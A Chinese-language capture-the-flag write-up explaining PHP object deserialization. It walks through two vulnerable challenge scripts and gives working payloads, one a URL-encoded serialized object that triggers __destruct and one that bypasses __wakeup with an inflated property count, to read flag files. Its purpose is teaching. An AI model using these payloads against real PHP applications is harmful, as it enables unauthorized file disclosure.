简单php反序列化

通过传输序列化,调用destruct()函数

<?php
highlight_file(__FILE__);
class AA
{
    public $name;
    protected $power;

    public function __destruct()
    {
        if($this->name === "Aryb1n")
        {
            echo "AA is Aryb1n";
            if($this->power > 100000)
            {
                echo "AA is powerful";
                echo file_get_contents("/flag");
            }
            else
            {
                echo "AA is not so weak";
            }
        }
        else
        {
            echo "who is AA?";
        }
    }
}

// maybe you should consider URL encode?
$aa = $_GET["aa"];
unserialize($aa);

首先进行代码审计

创建一个class类,进行一个变量的定义

class AA
{
    public $name;
    protected $power;
}

两种访问模式,一种public,一种protected

在反序列化的题目中,public的访问模式可以正常生成序列化的字符

O:2:"AA":2:{s:4:"name";s:6:"Aryb1n";s:5:"power";s:7:"1000000";}

但如果是protected的访问模式,则存在字符的补全

O:2:"AA":2:{s:4:"name";s:6:"Aryb1n";s:8:"*power";s:7:"1000000";}

我们将power变量设置为protected的访问模式,字符的个数出现了异常,原本为5个,变成了8个,如果进行此序列化的传输则会出现错误

此时我们需要更改传输的形式,进行url编码,再次进行传输

再次分析_destruct()魔法函数

public function __destruct()
    {
        if($this->name === "Aryb1n")
        {
            echo "AA is Aryb1n";
            if($this->power > 100000)
            {
                echo "AA is powerful";
                echo file_get_contents("/flag");
            }
            else
            {
                echo "AA is not so weak";
            }
        }
        else
        {
            echo "who is AA?";
        }
    }

_destruct()函数在进行序列化的传输时,会触发此函数,执行函数内的代码

定义的两个变量name=Aryb1n,并且power>100000,则会显示/flag

$aa = $_GET["aa"];
unserialize($aa);

get传参一个aa,将aa变量进行反序列化传输,即传入正常的字符,那就需要我们进行序列化的传输,并进行url编码

<?php
highlight_file(__FILE__);
class AA
{
    public $name = "Aryb1n";
    protected $power = "1000000";
}    
    $a = new AA();
    echo urlencode(serialize($a));

?>

//O%3A2%3A%22AA%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Aryb1n%22%3Bs%3A8%3A%22%00%2A%00power%22%3Bs%3A7%3A%221000000%22%3B%7D

通过调用destruct()函数显示flag.php文件,同时绕过wakeup()函数

  class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }}  
    function __wakeup(){ $this-> file='index.php'; } 
    public function __toString(){return '' ;}}     
    if (!isset($_GET['file'])){ show_source('index.php'); } 
    else{ 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); } 
?>   #<!--key in flag.php-->

首先分析代码,主要包括两个魔法函数

function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }}  

在此函数中,主要作用为显示我们传输file的源码

 function __wakeup(){ $this-> file='index.php'; } 

在此函数中,就是将我们传输的file变为index.php

public function __toString(){return '' ;     
    if (!isset($_GET['file'])){ show_source('index.php'); } 
    else{ 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); } 

如果可以绕过wakeup()函数,那么将我们传输的序列化数据进行base64加密,再经过反序列化传入

首先考虑如何绕过wakeup()函数

当序列化的字符中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行

实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}

构造payload

O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

//第一个S为大写,这样才可以16进制解析后面的字符,将\00解析为占位符

最后进行base64加密